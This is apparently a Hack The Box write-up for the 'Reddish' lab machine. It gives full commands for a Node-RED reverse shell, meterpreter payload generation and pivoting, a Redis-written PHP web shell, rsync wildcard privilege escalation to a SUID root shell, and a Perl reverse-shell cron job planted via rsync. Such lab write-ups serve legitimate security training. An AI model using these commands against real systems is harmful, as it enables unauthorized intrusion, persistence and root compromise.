Writeup: Hack The Box - Machines - Reddish
Description
- Name:
Reddish
- IP:
10.10.10.94
- Author:
yuntao
- Difficulty:
8/10
Discovery
nmap -sV -sC -Pn -p 1-65535 --min-rate 1000 --max-retries 5 10.10.10.94
1 | PORT STATE SERVICE VERSION |
From gobuster
:
1 | http://10.10.10.94:1880/icons (Status: 301) |
From nikto
:
1 | --------------------------------------------------------------------------- |
Pwn
The target web-server on port 1880 is not configured to use GET (nikto
listed only POST method):
With a POST request the server responds with an id and path key (the id is different from each reboot):
1 | http POST http://10.10.10.94:1880 |
Following the URL http://10.10.10.94:1880/red/a482df6bbb192aea703be2169b2f931a a node-red
application is presented to the user. Node-RED is a programming tool for wiring together hardware devices, APIs and on-line services using drag-and-drop.
Since the tool allows creating TCP sockets and connections it’s possible to instantiate a reverse shell using a pre-configured JSON config
1 | [ |
Open a listener with nc -lvp 3488
; import the JSON with the menu on the right and then import
, Clipboard
and the click Deploy
. A shell should pop up:
To upgrade the reverse shell to a meterpreter session:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=3487 -f elf -o dodo.exe
msfconsole -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set LPORT 3487; run -j"
base64 -w0 dodo.exe
On the target machine drop the meterpreter ELF:
echo -n <base64fromabove> | base64 -d > dodo.exe; chmod +x ./dodo.exe; ./dodo.exe
The exploited machine is a container without any useful information except for the list of network interfaces and subnets.
1 | meterpreter > ipconfig |
To confirm that the session is inside a container: run post/linux/gather/checkcontainer
.
To start pivoting on both networks the routes should be added using run post/multi/manage/autoroute
. First of all a port scan is useful to discover and scan all other machines in the subnet.
This phase requires a lot of time so run -j
can be used to make this activity asynchronous. After a while the port scan returns:
1 | [+] 172.19.0.2: - 172.19.0.2:80 - TCP OPEN |
autoroute
is not enough to access these containers, a port forwarding is required (IPs change at every reboot):
1 | portfwd add -l 6379 -r 172.19.0.3 -p 6379 |
Now the Redis and the Apache server can be accessed on localhost
. A scan on those ports returns some detailed informations:
1 | PORT STATE SERVICE VERSION |
Redis server can be queried on localhost
via redis-cli
(shipped with the default Redis installation).
The default Apache welcome page is improved with some JavaScript code to push visitor’s hits on the Redis DB.
1 | $(document).ready(function() { |
Since the back-end is using PHP to collect hits
data it should be clear that Redis should be exploited to create a RCE.
redis-cli
can be used to upload a web shell since Redis can be exploited to run commands: https://dl.packetstormsecurity.net/1511-exploits/redis-exec.txt.
1 | echo "CONFIG SET dir /var/www/html" | redis-cli |
Now the web-shell is usable from http://localhost:8080/dosh.php?cmd=id; since PHP is installed should be possible to create another meterpreter session from the Apache container.
The garbage of the output is due to the Redis DB file format.
The container with Apache (and the one with Redis) are not allowed to connect back to the attacker machine but only to the first container (Node-RED), so the attacker needs to pivot all traffic through this machine.
Metasploit offers the possibility to run a SOCKS proxy (both v4 and v5); this proxy can be used with proxychains
to access the subnets from the meterpreter session. For example is possible to run nmap
from another terminal using proxychains nmap -sP 172.19.0.*
(to get a list of on-line IPs).
After some trial and error the best way to create a reverse shell is to use socat
as proxy on the Node-RED container to forward all the traffic from Apache container to the attacker machine; however the socat
binary is not present on the victim machine but it’s possible to upload it via meterpreter from https://github.com/andrew-d/static-binaries.
./socat tcp4-listen:3455,reuseaddr,fork tcp4:10.10.XX.XX:8456
This command spawns a listener on port 3455; the traffic coming from this port is forwarded to the remote attacker host on port 8456 (the attacker is listening using nc -lvp 8456
). To execute a reverse shell on the remote Apache machine a simple command to connect back is not enough since the connection is killed after the command execution. To create a “persistent” connection the attacker should create a multi-stage shell: drop the command/script on the remote machine and then execute it.
The user running Apache is www-data
and can write files only in the /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
folder so the attacker should drop the reverse shell script in this folder, add the execution permission bit and the run it.
To automate the shell upload is possible to use proxychains
to execute a simple script:
1 | echo "FLUSHALL" | redis-cli -h 172.19.0.3 |
Now a shell is popped:
Heading to the /home
folder to search for the first flag:
The user.txt
file is not readable from www-data
but it possible to find a way to privesc to root
. On cron
folders there is a backup
entry that execute, as root
, /backup/backup.sh
every 3 minutes:
*/3 * * * * root sh /backup/backup.sh
The backup script is using rsync
to restore the content of /var/www/html
folder (this script destroys the uploaded shell but not the running process):
1 | cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b |
rsync
can be exploit to execute arbitrary command if used with the wildcard *
(similar to the tar
privesc):
1 | echo "cp /bin/bash /tmp/dodosh" > test.rdb |
These commands create a file called test.rdb
(to match the wildcard) that will copy the bash
binary to /tmp
; add the execution bit and then make the ELF SUID. This script should create a SUID runnable shell owned by root
.
After a while the bash
ELF is copied in /tmp
and can be used to run it as root
(./dodosh -p
):
With a root
shell is possible to read the first flag in /home/somaro/user.txt
.
The Apache container has two interfaces:
1 | ip addr show |
The subnet 172.19.0.2
is the one used to communicate with the Redis server; the subnet 172.20.0.2
is used by the backup script rsync
from backup
host: 172.20.0.3
(port 873, default port).
On the Apache container there is no root.txt
so the system flag should be in the last container backup
. Using rsync
is possible to download the filesystem of the remote host:
rsync -a --progress --max-size='5k' --min-size="1k" rsync://backup:873/src/ .
To filter only the system flag the command allows to set a minimum and maximum size for the transferred files.
On the remote host there is no system flag but using rsync
is possible to get a shell and then start an in-depth analysis of the backup container.
Using rsync
an attacker can upload arbitrary files on the remote host so creating a simple cron file it’s possible to get a reverse shell:
On the Apache container:
echo '* * * * * root perl -e '"'"'use Socket;$i="172.20.0.2";$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"'"'' > dorev
This command execute a connection to the Apache host via the “backup” subnet. To get a reverse shell the attacker also need the ncat
ELF that can be imported using the base64 encoding (same as the meterpreter ELF).
1 | echo 'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAkilAAAAAAABAAAAAAAAAAHh0LAAAAAAAAAAAAEAAOAAD' > ncat.b64 |
To upload the cron script:
rsync -a --progress ./dorev rsync://backup:873/src/etc/cron.d/dorev
Once the connection is triggered from backup
the shell is spawned but, again, no system flag.
Analysing the filesystem and the location of device files in /dev
is possible to see that many volumes are available to be mounted:
Mounting /dev/sda1
on /mnt
the system flag is readable: